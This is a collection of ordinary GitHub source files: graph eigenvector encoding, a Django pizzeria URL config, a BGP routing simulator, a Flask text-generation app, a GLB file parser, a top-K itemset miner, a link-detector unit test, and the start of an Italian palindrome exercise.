sp.diags(dgl.backend.asnumpy(g.in_degrees()).clip(1) ** -0.5, dtype=float)\n L = sp.eye(g.number_of_nodes()) - N * A * N\n\n # # Eigenvectors with numpy\n # EigVal, EigVec = np.linalg.eig(L.toarray())\n # idx = EigVal.argsort() # increasing order\n # EigVal, EigVec = EigVal[idx], np.real(EigVec[:,idx])\n # g.ndata['pos_enc'] = torch.from_numpy(np.abs(EigVec[:,1:pos_enc_dim+1])).float()\n\n # Eigenvectors with scipy\n # EigVal, EigVec = sp.linalg.eigs(L, k=pos_enc_dim+1, which='SR')\n EigVal, EigVec = sp.linalg.eigs(L, k=pos_enc_dim + 1, which='SR') # for 40 PEs\n EigVec = EigVec[:, EigVal.argsort()] # increasing order\n g.ndata['eig'] = torch.from_numpy(np.real(EigVec[:, :pos_enc_dim])).float()\n\n return g\n\n\ndef get_scores(x, y, eig):\n n = x.shape[0]\n hor = 0\n ver = 0\n for i in range(n):\n if float(eig[i]) > 0:\n if float(x[i]) > 0.5:\n hor += 1\n else:\n hor -= 1\n if float(y[i]) > 0.5:\n ver += 1\n else:\n ver -= 1\n\n scores = {}\n scores['hor'] = abs(hor)\n scores['ver'] = abs(ver)\n\n return scores\n\n\ndef sort_eig(graph):\n x = graph.ndata['feat'][:, 3]\n y = graph.ndata['feat'][:, 4]\n eigs = graph.ndata['eig']\n eig1 = eigs[:, 1]\n eig2 = eigs[:, 2]\n scores1 = get_scores(x, y, eig1)\n scores2 = get_scores(x, y, eig2)\n\n if scores1['hor'] == max(scores1['hor'], scores2['ver'], scores1['ver'], scores2['hor']):\n return graph\n elif scores2['ver'] == max(scores1['hor'], scores2['ver'], scores1['ver'], scores2['hor']):\n return graph\n elif scores1['ver'] == max(scores1['hor'], scores2['ver'], scores1['ver'], scores2['hor']):\n eigs[:, 1] = eig2\n eigs[:, 2] = eig1\n graph.ndata['eig'] = eigs\n return graph\n else:\n eigs[:, 1] = eig2\n eigs[:, 2] = eig1\n graph.ndata['eig'] = eigs\n return graph\n\n\ndef sort_list_eig(list):\n list_new = [sort_eig(graph) for graph in list]\n return list_new\n\n\ndef coord_encoding(graph):\n x = graph.ndata['feat'][:, 3:4].type(torch.FloatTensor)\n y = graph.ndata['feat'][:, 4:5].type(torch.FloatTensor)\n null = torch.zeros(x.shape).type(torch.FloatTensor)\n graph.ndata['eig'] = torch.cat([null, x, y], dim=-1)\n return graph\n","repo_name":"Saro00/DGN","sub_path":"realworld_benchmark/data/superpixels.py","file_name":"superpixels.py","file_ext":"py","file_size_in_byte":15666,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"19"} +{"seq_id":"749789436","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'pizzas'\nurlpatterns = [\n # Домашня сторінка\n path('', views.index, name='index'),\n # Сторінка з переліком усіх тем\n path('pizza_types/', views.pizza_types, name='pizza_types'),\n # Сторінка з складниками до піци\n path('pizza_type//',\n views.pizza_type, name='pizza_type'),\n\n]\n","repo_name":"albina2604/pizzeria","sub_path":"pizzas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"11829581946","text":"\n\"\"\"\nThis module will simulate BGP over a subset of the topology\ncreated by create_peering_topology.py\n\"\"\"\nimport json\nimport sys, os\nimport pdb\nimport numpy as np\nimport argparse\nimport datetime\nimport matplotlib.pyplot as plt\n\nfrom create_peering_topology import (TOPOLOGY_DATA_LOC,\n LINK_DATA_LOC,\n Node, Link,\n set_link_lengths,\n calc_haversine)\n\n\nRESULTS_DIR = os.path.join(\"results\")\n\n\nclass Found(Exception): pass\ndef select_subset(all_nodes, num_nodes):\n \"\"\"\n Select a subset of num_nodes nodes\n to use for the simulated topology. Randomly\n select a node and perform a breadth-first search\n\n One mistake I made at first: I forgot to get rid of neighbors\n links to nodes not in the network.\n \"\"\"\n try: \n while True:\n root_node_key = np.random.choice(list(all_nodes.keys()))\n next_nodes = [all_nodes[root_node_key]]\n selected = {}\n while len(next_nodes) > 0:\n cur_nodes = next_nodes\n next_nodes = []\n for node in cur_nodes:\n selected[node.node_id] = node\n if len(selected) == num_nodes:\n raise Found\n for neighbor in node.neighbors:\n if neighbor.node_id not in selected:\n next_nodes.append(neighbor)\n except Found:\n for node_id, node in selected.items():\n new_neighbors = []\n new_links = []\n for i, neighbor in enumerate(node.neighbors):\n if neighbor.node_id in selected:\n new_neighbors.append(neighbor)\n new_links.append(node.links[i])\n node.neighbors = new_neighbors\n node.links = new_links\n return selected\n\n \n\ndef initialize_subset(num_nodes=None):\n \"\"\"\n Read the topology dumped to a temporary file\n select num_nodes of the nodes to use in the simulation.\n If num_nodes is None, use all of the nodes\n \"\"\"\n nodes = {}\n with open(TOPOLOGY_DATA_LOC) as fin:\n as_configs = json.load(fin)\n\n for as_config in as_configs:\n key = as_config[\"node_id\"]\n nodes[key] = Node.from_config(as_config)\n\n links = {}\n with open(LINK_DATA_LOC) as fin:\n link_configs = json.load(fin)\n\n for link_config in link_configs:\n links[link_config[\"link_id\"]] = Link.from_config(link_config)\n\n for node_id, node in nodes.items():\n node.fill_neighbors(nodes)\n\n set_link_lengths(nodes, links)\n\n if num_nodes is not None and num_nodes < len(nodes):\n nodes = select_subset(nodes, num_nodes)\n return nodes\n\n\ndef graph_diameter(node_subset):\n \"\"\"\n Naively computes the diameter of the graph by running\n breadth-first search on every node. \n \"\"\"\n max_min_distance = -1\n for i, (cur_node_id, cur_node) in enumerate(node_subset.items()):\n print(\"\\rGetting diameter for \" + str(i) + \"th node.\", end = \"\")\n next_frontier = [cur_node]\n explored = set([cur_node_id])\n hops = 0\n while len(next_frontier) > 0:\n frontier = next_frontier\n next_frontier = []\n for node in frontier:\n for neighbor in node.neighbors:\n if neighbor.node_id not in explored:\n explored.add(neighbor.node_id)\n next_frontier.append(neighbor)\n hops += 1\n if hops > max_min_distance:\n max_min_distance = hops\n print(\"\\r\")\n return hops\n\n\ndef initialize_routing_tables(node_subset, diameter=15):\n \"\"\"\n node_subset: dictionary of (node_id -> node ...) entries.\n diameter: maximum # hops between any two nodes. We need to\n broadcast this many times. \n \"\"\"\n print(\"Broadcasting...\", end=\"\")\n for i in range(diameter):\n print(\"\\rBroadcasting... Round\", i, \"of\", diameter, end=\"\")\n for j, (node_id, node) in enumerate(node_subset.items()):\n node.broadcast_to_neighbors()\n print()\n\n\ndef reset_all_links(node_subset):\n \"\"\"\n Set utilization of all links to zero\n \"\"\"\n for node_id, node in node_subset.items():\n node.reset_links()\n\n\n\ndef get_average_delay_sage(weight_model, node_subset, p_communicate, mean_traffic,\n sd_traffic, ut_iterations=3, loop_penalty=2):\n \"\"\"\n Get average delay where policies are aware of the policies are aways\n of the utilization of their outgoing links. Allow ut_iterations\n or stabilization of link utilizations. weight_model is the graphsage model used\n to set the weights\n\n 1. call the weight model to set the initial weights.\n 2. for ut_iterations, call the weights model again to account for link utilization\n 3. calculate and report the distance inflation factor\n 4. the loop penalty determines how bad a route is penalized for not completing\n \"\"\"\n np.random.seed(1)\n weight_model(node_subset) # sets the weights for all routing tables\n reset_all_links(node_subset)\n node_pairs = [] # list of communicating pairs\n sum_straight_line_dist = 0\n for i, (id1, node1) in enumerate(node_subset.items()):\n for id2, node2 in node_subset.items():\n if id1 == id2:\n continue\n if np.random.random() > p_communicate:\n continue\n traffic = max(np.random.normal(mean_traffic, sd_traffic), 0)\n sum_straight_line_dist += calc_haversine(node1.lat, node1.lon,\n node2.lat, node2.lon)\n node_pairs.append((node1, node2, traffic))\n \n for i in range(ut_iterations):\n nested_terminal_paths = [] # list of list of paths for each pair\n for node1, node2, traffic in node_pairs:\n terminals = node1.find_paths(\"max-link-logits\", node2.node_id, traffic, len(node_subset))\n nested_terminal_paths.append(terminals)\n \n if sum_straight_line_dist == 0:\n sum_straight_line_dist += 1\n\n sum_expected_distance = 0\n for terminal_paths in nested_terminal_paths:\n expected_distance = 0\n total_prob = 0\n for prob, links, node in terminal_paths:\n outer_sum = 0\n for i, link in enumerate(links):\n inner_sum = 0\n p_link_success = link.bandwidth / max(link.utilization,\n link.bandwidth)\n for j in range(i):\n inner_sum += links[j].length\n outer_sum += (((1 / p_link_success) - 1) * inner_sum + link.length)\n expected_distance += (outer_sum * prob)\n total_prob += prob\n if total_prob == 0:\n sum_expected_distance += 10000 * sum_straight_line_dist\n else:\n sum_expected_distance += (expected_distance / (total_prob ** loop_penalty))\n return sum_expected_distance / sum_straight_line_dist\n\n\ndef get_average_delay(node_subset, p_communicate, mean_traffic,\n sd_traffic, method):\n \"\"\"\n Every node has a p_communicate probability of communicating\n with every other node. If the node is communicating, the amount\n of traffic is determined by a normal distribution with the given\n mean and std. There can't be negative traffic. R_obj is a random\n object with a seed.\n\n Method is the policy used to decide which node to send traffic to\n can be one of\n\n Distance increase factor: How much worse were you then straight line distance?\n - \"hops\": decide based on the number of hops\n \"\"\"\n np.random.seed(1)\n reset_all_links(node_subset)\n nested_terminal_paths = [] # list of list of paths for each pair\n sum_straight_line_dist = 0\n for i, (id1, node1) in enumerate(node_subset.items()):\n for id2, node2 in node_subset.items():\n if id1 == id2:\n continue\n if np.random.random() > p_communicate:\n continue\n traffic = max(np.random.normal(mean_traffic, sd_traffic), 0)\n sum_straight_line_dist += calc_haversine(node1.lat, node1.lon,\n node2.lat, node2.lon)\n terminals = node1.find_paths(method, id2, traffic, len(node_subset))\n nested_terminal_paths.append(terminals)\n\n sum_expected_distance = 0\n for terminal_paths in nested_terminal_paths:\n expected_distance = 0\n total_prob = 0\n for prob, links, node in terminal_paths:\n outer_sum = 0\n for i, link in enumerate(links):\n inner_sum = 0\n p_link_success = link.bandwidth / max(link.utilization,\n link.bandwidth)\n for j in range(i):\n inner_sum += links[j].length\n outer_sum += (((1 / p_link_success) - 1) * inner_sum + link.length)\n expected_distance += (outer_sum * prob)\n total_prob += prob\n if total_prob == 0:\n sum_expected_distance += 10000 * sum_straight_line_dist\n else:\n sum_expected_distance += (expected_distance / (total_prob ** 2))\n sum_expected_distance += expected_distance\n return sum_expected_distance / sum_straight_line_dist\n\n\ndef write_results(results, args, methods, connects, means):\n \"\"\"\n Save the given results and arguments used to create them \n \"\"\"\n timestamp = datetime.datetime.now()\n result_dir = os.path.join(RESULTS_DIR, timestamp.strftime(\"%Y%m%d_%H%M%S\"))\n if not os.path.exists(result_dir):\n os.makedirs(result_dir)\n with open(os.path.join(result_dir, \"args.txt\"), \"w\") as fout:\n fout.write(\"\\n\".join(args))\n np.savez_compressed(os.path.join(result_dir, \"results\"), results=results)\n\n better_name = {\n \"hops\": \"Route by Hops\",\n \"distance\": \"Route by Distance\",\n \"bandwidth\": \"Route by Average Bandwidth\",\n \"distance-bandwidth\": \"Route by Distance/Bandwidth\",\n \"sage\": \"Route by GraphSage Weights\"\n }\n\n fig, ax = plt.subplots(nrows=1, ncols=len(methods), squeeze=False, sharex=True, sharey=True)\n fig.suptitle(\"Relitive Distance Travelled by Routing Policy\")\n vmin = np.quantile(results, 0.25)\n vmax = np.quantile(results, 0.75)\n for i, method in enumerate(methods):\n cbar = ax[0, i].imshow(results[i], origin=\"lower\", vmin=vmin, vmax=vmax)\n ax[0, i].set_title(better_name[method])\n ax[0, i].set_ylabel(\"Mean traffic from an AS (Mbps)\")\n ax[0, i].set_xlabel(\"Network connectivity\")\n ax[0, i].set_xticks(np.arange(results[i].shape[1]))\n ax[0, i].set_yticks(np.arange(results[i].shape[0]))\n ax[0, i].set_xticklabels(connects)\n ax[0, i].set_yticklabels(means)\n \n fig.colorbar(cbar, ax=fig.get_axes(), orientation=\"horizontal\")\n fig.set_size_inches(14, 4)\n fig.savefig(os.path.join(result_dir, \"tileplot.png\"))\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Analyze BGP simulated performance.\")\n parser.add_argument(\"n_trials\", type=int, help=\"Number of different seeds to run.\")\n parser.add_argument(\"n_nodes\", type=int, help=\"Number of nodes to use in topology.\")\n parser.add_argument(\"methods\", type=str, help=\"Policies to use during simulation. Dimit with ;\")\n parser.add_argument(\"connectivities\", type=str, help=\"Connectivities to try during simulation. Delimit with ;\")\n parser.add_argument(\"means\", type=str, help=\"Means to try during simulation delimit with ;\")\n parser.add_argument(\"-m\", \"--model_loc\", type=str, help=\"Location of graphsage model\")\n args = parser.parse_args(sys.argv[1:])\n\n methods = [m.strip() for m in args.methods.split(\";\")]\n connectivities = [float(c.strip()) for c in args.connectivities.split(\";\")]\n means = [float(m.strip()) for m in args.means.split(\";\")]\n if args.model_loc:\n from graph_sage import WeightModel\n sage_model = WeightModel.load(args.model_loc)\n methods.append(\"sage\")\n\n results = np.zeros((len(methods), len(means), len(connectivities)))\n for trial in range(args.n_trials):\n np.random.seed(trial)\n graph_subset = initialize_subset(args.n_nodes)\n diameter = graph_diameter(graph_subset)\n initialize_routing_tables(graph_subset)\n for i, method in enumerate(methods):\n for j, mean in enumerate(means):\n for k, p_connect in enumerate(connectivities):\n print(\"\\r\", method, j, \"out of\", len(means), \";\", k,\n \"out of\", len(connectivities), end=\"\")\n if method == \"sage\":\n sum_delay = get_average_delay_sage(sage_model, graph_subset, p_connect, mean,\n mean / 4)\n else:\n sum_delay = get_average_delay(graph_subset, p_connect, mean, mean / 4, method)\n \n results[i][j][k] += sum_delay\n print()\n results /= args.n_trials\n write_results(results, sys.argv[1:], methods, connectivities, means)\n \n \n\n\n \n\n\n\n\n\n\n","repo_name":"rkthomps/graphsage-route","sub_path":"python_src/simulate_bgp.py","file_name":"simulate_bgp.py","file_ext":"py","file_size_in_byte":13369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15035733838","text":"import os\r\nfrom flask import Flask, request, render_template\r\nfrom keras.preprocessing.text import Tokenizer\r\nimport json\r\nfrom rnn.model import chargen_model\r\nfrom rnn.utils import *\r\n\r\n\r\n# initialize our Flask application and Keras model\r\napp = Flask(__name__, static_url_path='')\r\nmodel = None\r\napp.config[\"SERVER_NAME\"] = \"localhost:5000\"\r\n\r\n\r\n# set current working directory for loading models\r\ncurrent_file = __file__\r\nreal_path = os.path.realpath(current_file)\r\ndir_path = os.path.dirname(real_path)\r\nos.chdir(dir_path)\r\n\r\n\r\nclass textrnn:\r\n meta_token = ''\r\n\r\n def __init__(self, vocab_filepath=None, weights_filepath=None, config_filepath=None):\r\n \"\"\"Initializes configuration and vocabulary from JSON files and conducts text preprocessing\"\"\"\r\n # Open Configuration file if present\r\n if config_filepath is not None:\r\n with open(config_filepath, 'r', encoding='utf8', errors='ignore') as json_file:\r\n self.config = json.load(json_file)\r\n\r\n # Open vocabulary file if present\r\n if vocab_filepath is not None:\r\n with open(vocab_filepath, 'r', encoding='utf8', errors='ignore') as json_file:\r\n self.vocabulary = json.load(json_file)\r\n\r\n # Text preprocessing\r\n self.tokenizer = Tokenizer(filters='', char_level=True) # Vectorize text and treat each char as a token\r\n self.num_of_classes = len(self.vocabulary) + 1\r\n self.model = chargen_model(self.num_of_classes, cfg=self.config, weights_filepath=weights_filepath)\r\n self.char_indices = dict((self.vocabulary[c], c) for c in self.vocabulary)\r\n\r\n def generate(self, n=1, prefix=None, temperature=0.75, max_length_gen=1000):\r\n \"\"\"Calls generate function from rnn.utils.py which generates and returns a single text.\"\"\"\r\n\r\n for _ in range(n):\r\n gen_text = generate(self.model,\r\n self.vocabulary,\r\n self.char_indices,\r\n prefix,\r\n temperature,\r\n self.config['input_length'],\r\n self.meta_token,\r\n max_length_gen)\r\n return \"{}\\n\".format(gen_text)\r\n\r\n\r\ndef load_model(subdomain):\r\n print(subdomain)\r\n \"\"\"Loads pre-trained model weights, vocabulary file and configuration.\"\"\"\r\n global model\r\n model = textrnn(weights_filepath='models/{}_weights.hdf5'.format(subdomain),\r\n vocab_filepath='models/{}_vocabulary.json'.format(subdomain),\r\n config_filepath='models/{}_config.json'.format(subdomain))\r\n\r\n\r\n@app.route(\"/\", methods=[\"GET\", \"POST\"], subdomain='')\r\ndef get_generated_text(subdomain):\r\n \"\"\"Takes input from user and returns generated text.\"\"\"\r\n print(subdomain)\r\n if request.method == 'POST':\r\n load_model(subdomain)\r\n user_input = request.form['prefix']\r\n generated_string = model.generate(prefix=user_input)\r\n return render_template('{}.html'.format(subdomain), generated_string=generated_string)\r\n else:\r\n return render_template('{}.html'.format(subdomain))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(host='127.0.0.1', port=5001, debug=True, threaded=False)\r\n","repo_name":"demmojo/poetry-generator-app","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"42473486283","text":"from __future__ import annotations\n\nimport json\nimport os\nimport struct\nfrom dataclasses import dataclass\nfrom typing import Union\n\nfrom viskillz.mct.glb.constants import *\n\n\n@dataclass\nclass GLB:\n \"\"\"\n A class that represents and manipulates GLB assets.\n \"\"\"\n doc: dict\n data: bytearray\n\n magic: str = \"glTF\"\n version: int = 2\n\n @staticmethod\n def of(doc: dict[str, any], data: str) -> GLB:\n \"\"\"\n Creates an instance with the given JSON and BIN chunks.\n :param doc: the dictionary of the JSON chunk\n :param data: the hex value of the data chunk\n :return: the document\n \"\"\"\n file = GLB()\n file.doc = doc\n file.data = bytearray.fromhex(data)\n return file\n\n def __init__(self: GLB, path: str = None) -> None:\n if path:\n with open(os.path.join(path), \"rb\") as file:\n data = bytearray(file.read())\n\n def bytes_to_int(value: bytearray, offset: int = 0) -> int:\n return struct.unpack_from(\"H\", value, offset)[0]\n\n def bytes_to_str(value: bytearray, offset: int = 0, count: int = 1) -> str:\n return struct.unpack_from(f\"{count}s\", value, offset)[0].decode(encoding=\"ascii\")\n\n self.magic = bytes_to_str(data, 0, 4)\n self.version = bytes_to_int(data, 4)\n self.length = bytes_to_int(data, 8)\n\n act = 12\n # read json chunk\n json_length = bytes_to_int(data, act)\n act += 8 # JSON\n self.doc = json.loads(bytes_to_str(data, act, json_length))\n act += json_length\n\n act += (4 - (act % 4)) % 4\n\n # read binary chunk\n binary_length = bytes_to_int(data, act)\n act += 8\n self.data = data[act:act + binary_length]\n act += binary_length\n\n def remove_meta(self: GLB) -> GLB:\n \"\"\"\n Removes unnecessary metadata.\n :return: self\n \"\"\"\n if GENERATOR in self.doc[ASSET]:\n del self.doc[ASSET][GENERATOR]\n for prop_name in [SCENES, NODES, MATERIALS, MESHES]:\n for element in self.doc[prop_name]:\n if NAME in element:\n del element[NAME]\n return self\n\n def remove_textures(self: GLB) -> GLB:\n assert \"TEXCOORD_0\" in self.doc[MESHES][0][PRIMITIVES][0][ATTRIBUTES], \"No texture to remove\"\n\n buffer_views = self.doc[BUFFER_VIEWS]\n\n self.data = \\\n self.data[:buffer_views[2][BYTE_OFFSET]] + \\\n self.data[buffer_views[3][BYTE_OFFSET]:buffer_views[6][BYTE_OFFSET]] + \\\n self.data[buffer_views[7][BYTE_OFFSET]:]\n\n # modify meshes\n del self.doc[MESHES][0][PRIMITIVES][0][ATTRIBUTES][\"TEXCOORD_0\"]\n del self.doc[MESHES][1][PRIMITIVES][0][ATTRIBUTES][\"TEXCOORD_0\"]\n self.doc[MESHES][0][PRIMITIVES][0][INDICES] -= 1\n\n self.doc[MESHES][1][PRIMITIVES][0][INDICES] -= 2\n self.doc[MESHES][1][PRIMITIVES][0][ATTRIBUTES][\"POSITION\"] -= 1\n self.doc[MESHES][1][PRIMITIVES][0][ATTRIBUTES][\"NORMAL\"] -= 1\n\n # modify bufferViews and buffers\n length_2 = self.doc[BUFFER_VIEWS][2][BYTE_LENGTH]\n length_6 = self.doc[BUFFER_VIEWS][6][BYTE_LENGTH]\n\n for i in [3, 4, 5, 7]:\n self.doc[ACCESSORS][i][BUFFER_VIEW] -= 1\n self.doc[BUFFER_VIEWS][i][BYTE_OFFSET] -= length_2\n\n self.doc[ACCESSORS][7][BUFFER_VIEW] -= 1\n self.doc[BUFFER_VIEWS][7][BYTE_OFFSET] -= length_6\n\n for index in [6, 2]:\n del self.doc[ACCESSORS][index]\n del self.doc[BUFFER_VIEWS][index]\n\n self.doc[BUFFERS][0][BYTE_LENGTH] -= length_2 + length_6\n\n return self\n\n @staticmethod\n def __get_slices_full(value: bytearray, accessors: list[int]) -> list[bytearray]:\n accessors = [\n 0,\n accessors[0] * 3 * 4,\n accessors[1] * 3 * 4,\n accessors[2] * 2 * 4,\n accessors[3] * 2,\n accessors[4] * 3 * 4,\n accessors[5] * 3 * 4,\n accessors[6] * 2 * 4,\n accessors[7] * 2\n ] if len(accessors) == 8 \\\n else [\n 0,\n accessors[0] * 3 * 4,\n accessors[1] * 3 * 4,\n accessors[2] * 2,\n accessors[3] * 3 * 4,\n accessors[4] * 3 * 4,\n accessors[5] * 2\n ]\n\n for i in range(1, len(accessors)):\n accessors[i] += accessors[i - 1]\n\n return [value[accessors[i]:accessors[i + 1]] for i in range(len(accessors) - 1)]\n\n @staticmethod\n def equal(left: GLB, right: GLB, epsilon: float) -> bool:\n def check_types(\n left_value: Union[int, float, str, dict, list],\n right_value: Union[int, float, str, dict, list]) -> bool:\n value_type = type(left_value)\n assert value_type == type(right_value), (value_type, right_value)\n if value_type == float:\n assert abs(left_value - right_value) <= epsilon, (\n abs(left_value - right_value), left_value, right_value)\n elif value_type in {int, str}:\n assert left_value == right_value\n elif value_type == dict:\n assert left_value.keys() == right_value.keys(), \"\\n\".join(\n [str(left_value.keys()), str(right_value.keys())])\n for k in left_value.keys():\n check_types(left_value[k], right_value[k])\n elif value_type == list:\n assert len(left_value) == len(right_value)\n for i in range(len(left_value)):\n assert check_types(left_value[i], right_value[i])\n return True\n\n assert check_types(left.doc, right.doc)\n\n accessor_counts = [a[COUNT] for a in left.doc[ACCESSORS]]\n slices_left = left.__get_slices_full(left.data, accessor_counts)\n slices_right = right.__get_slices_full(right.data, accessor_counts)\n\n def check_slices(slice_indices: list[int], value_type: type) -> bool:\n length = 4 if value_type == float else 2\n type_format = \"f\" if value_type == float else \"H\"\n\n for slice_index in slice_indices:\n for offset in range(0, len(slices_left[slice_index]), length):\n value_left = struct.unpack(type_format, bytes(slices_left[0][offset:offset + length]))[0]\n value_right = struct.unpack(type_format, bytes(slices_right[0][offset:offset + length]))[0]\n if value_type == float:\n assert (abs(value_left - value_right) <= epsilon, abs(value_left - value_right)) \\\n if value_type == float \\\n else value_left == value_right\n return True\n\n assert check_slices([0, 1, 3, 4] if len(accessor_counts) == 6 else [0, 1, 2, 4, 5, 6], float)\n assert check_slices([2] if len(accessor_counts) == 6 else [3, 7], int)\n return True\n\n def __to_bytes(self) -> bytearray:\n def int_to_bytes(value: int) -> bytearray:\n return bytearray(value.to_bytes(4, byteorder=\"little\"))\n\n def str_to_bytes(value: str) -> bytearray:\n return bytearray(value, encoding=\"ascii\")\n\n def padding(value: bytearray, extra: int) -> bytearray:\n return bytearray([extra for _ in range((4 - (len(value) % 4)) % 4)])\n\n data = str_to_bytes(self.magic)\n data += int_to_bytes(self.version)\n data += int_to_bytes(0)\n\n json_chars = str_to_bytes(json.dumps(self.doc, ensure_ascii=True, separators=(',', ':')))\n json_chars += padding(json_chars, 32)\n\n data += int_to_bytes(len(json_chars))\n data += str_to_bytes(JSON)\n data += json_chars\n\n data += int_to_bytes(len(self.data))\n data += str_to_bytes(BIN) + bytearray([0])\n data += self.data\n data += padding(data, 0)\n data[8:12] = int_to_bytes(len(data))\n\n return data\n\n def write(self: GLB, file_name: str) -> None:\n \"\"\"\n Writes the asset to the given file.\n :param file_name: the name of the file\n :return: nothing\n \"\"\"\n with open(file_name, \"wb\") as file:\n file.write(self.__to_bytes())\n","repo_name":"viskillz/viskillz-glb","sub_path":"src/viskillz/mct/glb/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"32432294635","text":"# -*- coding: cp1252 -*-\nfrom fileinput import nextfile\nimport heapq\nfrom collections import defaultdict\nclass TopK:\n '''This class implements an iterator for getting the first K closed sets'''\n def __init__(self, nameFile,K=2):\n '''Initialize the attributes\n - transactions: a list of all transactions in the\n dataset (a transaction is a set of items),\n - items: a list of all items,\n - l: the number of transactions\n - l_items: the number of items\n '''\n self.K=K\n self.transactions=[] #all transactions as a list of sets of items\n d=defaultdict(lambda:0) # all items with their frequencies\n for tran in open(nameFile):\n tran_items=set(tran.strip().split())\n self.transactions.append(tran_items)\n for item in tran_items:\n d[item]+=1\n self.items=[x for x,y in sorted(list(d.items()),key=lambda x: x[1],reverse=True)] #all the items in descdending oreder of support\n self.l=len(self.transactions) # number of transactions\n self.l_items=len(self.items) #number of items\n\n \n def __iter__(self):\n '''\n This method is necessary to initialize the\n iterator.\n '''\n self.q=[]\n heapq.heapify(self.q)\n self.generatedK=0\n element=self.closure(self.transactions)\n heapq.heappush(self.q,(0,(element,self.transactions,0)))\n return self\n \n def jth_prefix(self,itemset,j):\n '''\n This method returns the jth prefix of an itemset\n (Assume the alphabet is indexed from 1 to n)\n '''\n ################# TO DO #######################\n result=set(self.items[:j]).intersection(itemset)\n ################################################\n return result\n \n def extract_trans(self,it,trans_list):\n '''\n This method receives as parameters an item it\n and a list of transactions (each being a set of items)\n and filters the list of transactions, returning only\n those that contain the item it\n '''\n ################# TO DO #######################\n result=[]\n for i in trans_list: \n if it in i:\n result.append(i)\n ################################################\n return result\n \n def closure(self,trans_list):\n '''\n This method returns the set of items that are included\n in all transactions in trans_list. If trans_list is empty,\n it returns the set of all items\n '''\n ################# TO DO #######################\n result=set(self.items)\n for i in trans_list: \n result=result.intersection(i) \n ################################################\n return result\n\n def __next__(self):\n '''\n This method is the main function of the class. It throws\n StopIteration if more elements than necessary are generated\n or if there is no other closed set in the priority queue.\n \n '''\n if self.generatedK>self.K or not self.q:\n raise StopIteration\n Ysupp,(Yitems,Ytrans_list,Ycore)=heapq.heappop(self.q)\n ################# TO DO #######################\n #You will have to compute the next possible succesors\n #and push them to the priority queue q. For each of\n #them you should compute:\n # next_items = the next closed itemset\n # next_supp = the support of the next closed itemset\n # next_trans_list = the list of all transactions\n # containing the items in next_items\n # next_core = the core of next_items\n #The command for adding this element to the priority queue is:\n #heapq.heappush(self.q,(self.l-next_supp,(next_items,next_trans_list,next_core)))\n\n i = 0\n while i < len(self.items):\n next_trans_list = self.extract_trans(self.items[i],Ytrans_list)\n next_items = self.closure(next_trans_list)\n if self.jth_prefix(Yitems,i) == self.jth_prefix(next_items,i): \n next_supp = len(next_trans_list)\n next_core = i+1\n heapq.heappush(self.q,(self.l-next_supp,(next_items,next_trans_list,next_core)))\n i=i+1\n ################################################ \n self.generatedK=self.generatedK+1\n return Yitems\n\n\n","repo_name":"RubaGarcia/Mineria_de_datos","sub_path":"practica_7/practica7.py","file_name":"practica7.py","file_ext":"py","file_size_in_byte":4477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"43079699300","text":"import unittest\nfrom wsd.algorithm import LinkDetector\nfrom wsd.tests.database.databasemocks import *\n\nclass LinkDetectorTest(unittest.TestCase):\n def setUp(self):\n self._view = WorkViewMock()\n\n def _detect_links(self, text):\n links = []\n article = {\n 'id': 1,\n 'title': 'myArticle',\n 'text': text,\n 'links': []\n }\n detector = LinkDetector(self._view)\n detector.detect_links(article)\n return article\n\n def test_single_link(self):\n self._view.occurrences['term'] = { 'occurrences': 7, 'as_link': 3 }\n self._view.occurrences['another'] = { 'occurrences': 100, 'as_link': 0 }\n\n article = self._detect_links('Here is another term.')\n self.assertEqual(article['text'], 'Here is another [[term]].')\n self.assertEqual(len(article['links']), 1)\n self.assertEqual(article['links'][0], { 'target_article_id': None, 'target_article_name': None, 'phrase': 'term' })\n\n def test_multiple_links(self):\n self._view.occurrences['term'] = { 'occurrences': 7, 'as_link': 3 }\n self._view.occurrences['is another'] = { 'occurrences': 100, 'as_link': 3 }\n\n article = self._detect_links('Here is another term.')\n self.assertEqual(article['text'], 'Here [[is another]] [[term]].')\n self.assertEqual(len(article['links']), 2)\n self.assertEqual(article['links'][0], { 'target_article_id': None, 'target_article_name': None, 'phrase': 'is another' })\n self.assertEqual(article['links'][1], { 'target_article_id': None, 'target_article_name': None, 'phrase': 'term' })\n\n def test_threshold(self):\n self._view.occurrences['term'] = { 'occurrences': 100000, 'as_link': 2 }\n\n article = self._detect_links('Here is another term.')\n self.assertEqual(article['text'], 'Here is another term.')\n self.assertEqual(len(article['links']), 0)\n \n def test_encapsulated_link(self):\n self._view.occurrences['term'] = { 'occurrences': 7, 'as_link': 3 }\n self._view.occurrences['encapsulated term'] = { 'occurrences': 10, 'as_link': 10 }\n\n article = self._detect_links('Here is another encapsulated term.')\n self.assertEqual(article['text'], 'Here is another [[encapsulated term]].')\n self.assertEqual(len(article['links']), 1)\n self.assertEqual(article['links'][0], { 'target_article_id': None, 'target_article_name': None, 'phrase': 'encapsulated term' })","repo_name":"paulsavoie/wikiwsd","sub_path":"wsd/tests/algorithm/linkdetectortest.py","file_name":"linkdetectortest.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31732569138","text":"#Palindromi con spazi e punteggiatura ignorati\n\n\"\"\"\nuso un ciclo loop per verificare che una parola sia palindroma.\nDevo gestire 2 casi:\n parola di lettere pari\n parola di lettere dispari\nCalcolo la posizione \"specchio\" di una lettera nella parola grazie alla funzione len()\nnel caso di parole con lettere dispari ignorerò la posizione centrale\n\"\"\"\n\nparola=input(\"Inserisci una parola per verificare se sia 